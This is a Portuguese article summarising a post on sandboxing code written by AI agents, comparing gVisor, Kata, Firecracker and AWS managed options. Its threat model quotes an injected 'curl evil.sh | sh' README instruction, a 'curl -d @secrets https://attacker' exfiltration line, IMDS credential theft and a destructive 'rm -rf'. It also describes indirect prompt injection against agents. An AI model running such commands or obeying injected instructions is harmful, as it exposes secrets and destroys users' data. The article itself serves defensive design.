AgentesComunidade
Nível de dificuldade: Intermediário (3 de 5)
Como isolar código que agentes de IA escrevem sozinhos
Código que ninguém revisou: por que agente de IA precisa de sandbox
Um chatbot devolve texto. Um agente age: ele roda pip install, escreve um script, executa, lê a saída e tenta de novo.
O problema, como descreve o post de Meena Thandavarayan no AWS Builder Center (publicado em 19 de novembro de 2026), é que esse código foi escrito em tempo de execução por um modelo, e a entrada do modelo pode vir de lugares que o agente não controla: o prompt do usuário (que pode ser hostil), conteúdo recuperado da web, de e-mails ou de PDFs (onde mora a injeção indireta de prompt, como um README.md que instrui curl evil.sh | sh) e a saída de ferramentas de passos anteriores, que também pode estar comprometida.
Na prática, isso significa tratar todo código gerado por modelo como se fosse código enviado por um estranho anônimo: na maioria das vezes inofensivo, ocasionalmente destrutivo, e impossível de saber qual é qual antes de rodar. Revisar manualmente não escala para milhares de chamadas de ferramenta por hora, e o mesmo risco existe sem nenhum ataque: um rm -rf $DIR/ alucinado, com $DIR vazio, não precisa de intenção maliciosa para apagar o que não devia.
Separe o cérebro das mãos antes de escolher tecnologia
Antes de escolher o runtime de isolamento, o post recomenda uma decisão arquitetural: separar o loop do modelo e do agente (o cérebro) da execução de código (as mãos). O cérebro guarda credenciais, estado da conversa e política; as mãos não guardam nada disso e são acessadas por uma interface estreita de ferramentas, como um servidor MCP expondo exec, read_file, write_file e browser_*.
Esse padrão é o mesmo em volta do qual o Lambda MicroVMs foi desenhado: o cérebro pode rodar em qualquer framework ou fornecedor, as mãos ficam na conta AWS do usuário, perto dos dados. Um exemplo de ferramenta do lado do cérebro, que só faz proxy para uma sandbox:
from mcp.server.fastmcp import FastMCP
import sandbox_client # cliente para pods gVisor/Kata, Lambda MicroVMs ou um SDK de serviço
mcp = FastMCP("sandbox")
@mcp.tool()
def run(session_id: str, command: str, timeout_s: int = 60) -> dict:
"""Roda um comando shell na sandbox isolada do chamador."""
sb = sandbox_client.get_or_create(session_id, template="python-3.12", egress="allowlist:pypi")
r = sb.exec(command, timeout=timeout_s)
return {"exit_code": r.exit_code, "stdout": r.stdout[-20_000:], "stderr": r.stderr[-5_000:]}
if __name__ == "__main__":
mcp.run()Truncar a saída antes de devolvê-la ao modelo importa: a saída da ferramenta é entrada não confiável para a próxima chamada do modelo.
O que o isolamento resolve, e o que ele não resolve
O post monta um modelo de ameaças de oito linhas, e só a primeira é sobre o runtime de isolamento em si: fuga de kernel via bugs como Dirty Pipe (CVE-2022-0847) ou Dirty COW (CVE-2016-5195). As outras sete, que segundo o autor são as que mais ficam de fora na prática, dependem de controles de rede, identidade e recursos:
- Roubo de credencial: acesso ao IMDS em
169.254.169.254, a um token de service account montado, ou a variáveis de ambiente. - Exfiltração de dados:
curl -d @secrets https://attackerou tunelamento via DNS, contido por egress padrão-negado e allowlist de domínio. - Abuso de recurso: mineração ou fork bomb, contido por cgroups, limite de PID e cota de disco.
- Movimento lateral: chamar a API do cluster ou outros pods, contido por política de rede e ausência de token de service account.
- Vazamento entre sessões: uma sandbox por sessão, destruída depois.
- Uso malicioso "legítimo": ler um
.envdo repositório ou apagar testes que estão falhando usa acesso permitido para a coisa errada, e isolamento não enxerga intenção. - Canais laterais: vazamentos classe Spectre entre inquilinos co-localizados, que só hosts dedicados ou enclaves resolvem.
Do kernel compartilhado à microVM: as quatro opções de verdade
Cada syscall que o código do agente faz (write, socket, mmap, clone) tem que ir para algum lugar, e é esse lugar que define a opção.
runc puro e gVisor
Um container runc comum (o padrão em todo pod Kubernetes) isola namespaces e cgroups, mas as syscalls do agente chegam direto ao kernel do host, o mesmo que todo outro pod do nó usa. É endurecível com seccomp, drop de capabilities, runAsNonRoot e filesystem raiz somente leitura, mas continua sendo só para código que você escreveu e confia, nunca para código que o modelo gerou.
O gVisor troca isso por um kernel de aplicação em espaço de usuário, o Sentry, escrito em Go, que implementa a interface de syscall do Linux e intercepta cada chamada antes que ela chegue ao host. Roda como runtime OCI (runsc) em instâncias EC2 comuns, sem precisar de .metal, o que dá densidade alta, mas paga pedágio em cargas com muito I/O (builds grandes, muitos arquivos pequenos) e não suporta tudo (io_uring, bpf e alguns ioctl ficam de fora). Para confirmar que está ativo, kubectl exec agent-sandbox -- dmesg mostra as mensagens de boot do próprio gVisor, não as do host.
Kata Containers e Firecracker
Kata Containers sobe cada pod dentro de uma VM leve com seu próprio kernel guest, enquanto o Kubernetes continua tratando como um pod normal; o containerd-shim-kata-v2 inicia a VM via QEMU, Cloud Hypervisor ou Firecracker, e as syscalls caem no kernel guest, não no host. A compatibilidade com Linux é total, mas o custo é de 150 a 500 ms de startup a mais e a necessidade de nós que rodem VM (*.metal ou virtualização aninhada).
O Firecracker, criado pela AWS para Lambda e Fargate, é a peça de baixo nível: um VMM minimalista em Rust que expõe poucos dispositivos virtio e inicia uma microVM em torno de 125 ms, o que permite milhares delas por host e snapshot/restore rápido. Mas é um bloco de construção, não uma plataforma: quem usa Firecracker puro constrói sozinho o agendamento, a rede e o pipeline de imagem, ou usa por meio do Kata, ou por um serviço gerenciado.
As opções gerenciadas da AWS: Lambda MicroVMs e Bedrock AgentCore Runtime
É aqui que entra o recorte da AWS. O Lambda MicroVMs oferece um ambiente Firecracker isolado e de curta duração, na própria conta do usuário, para o agente escrever, buildar, testar e rodar código, sem que o time precise operar frota .metal, VMM ou pool de microVMs. O post cita integrações documentadas pela AWS em que a OpenAI Agents API, o Claude Managed Agents e o Cursor Cloud Agents usam Lambda MicroVMs como ambiente de execução auto-hospedado, com um exemplo de microVM Firecracker por sessão dirigida por JSON-RPC 2.0 sobre WebSockets para chamada de ferramenta inline.
O Bedrock AgentCore Runtime resolve um problema vizinho: hospeda o agente inteiro, loop incluído, com cada sessão de usuário numa microVM isolada que é destruída ao fim da sessão, mais serviços companheiros de identidade, gateway de ferramentas, memória, interpretador de código, navegador e observabilidade. Quem empacota o agente como container e invoca com um session_id não precisa pensar em kernel nem em pool de VM.
A diferença prática: Lambda MicroVMs dá uma sandbox para plugar em qualquer agente; AgentCore Runtime dá um lugar para rodar o agente inteiro. Os dois podem ser combinados.
Checklist para escolher sua sandbox
| Opção | Isolamento | Startup | Compatibilidade Linux | Quem opera |
|---|---|---|---|---|
| runc puro | Baixo | ~50-150 ms | Total | Seu cluster |
| gVisor | Médio-alto | ~150-500 ms | A maior parte | Seu cluster + runtime |
| Kata Containers | Alto | ~150-500 ms | Total | Cluster + .metal + VMM |
| Firecracker | Alto | ~125 ms de boot | Total | Tudo, você constrói |
| Lambda MicroVMs | Alto | Definido pelo serviço | Total | Seu código + rede |
| Bedrock AgentCore Runtime | Alto | Definido pelo serviço | Total | Seu agente |
(valores aproximados, do próprio post; variam por configuração e devem ser medidos na carga real)
A escolha depende de três perguntas que o post propõe, direcionadas a quem decide infraestrutura de agente: quanto a sua carga precisa de compatibilidade total com Linux (compilador, navegador headless, pacote de sistema) contra densidade e custo por sessão; se você já opera Kubernetes com nós .metal ou prefere não construir nada disso; e se o que falta é uma sandbox para plugar num agente existente ou uma casa completa para hospedar o agente.
Isolamento forte não substitui política: mesmo numa microVM, rm -rf ./build e rm -rf ./src são a mesma syscall, e cat README.md e cat .env são o mesmo acesso permitido usado para a coisa errada. O runtime de isolamento contém o estrago de um kernel comprometido; uma política de ação semântica, separada, é quem decide se o agente deveria estar fazendo aquilo.
Fonte: AWS Builder Center
Serviços neste textoAgentes
Leve para a sua IA
Decida com o seu assistente, com o contexto deste texto já montado.
1. O que você quer saber
Ver o prompt
Li no AWS Hub: "Como isolar código que agentes de IA escrevem sozinhos" (https://awshub.com.br/comunidade/como-isolar-codigo-que-agentes-de-ia-escrevem-sozinhos). Resumo: Um agente que roda pip install e executa scripts é um programa que escreve programas que ninguém revisou. Da primeira camada de containers às microVMs gerenciadas da AWS, eis como escolher o isolamento certo. Serviços: Agentes Minha stack: [descreva em uma linha: serviços, linguagem, volume, região] Isso muda alguma coisa na minha arquitetura? O que eu faria diferente a partir de amanhã?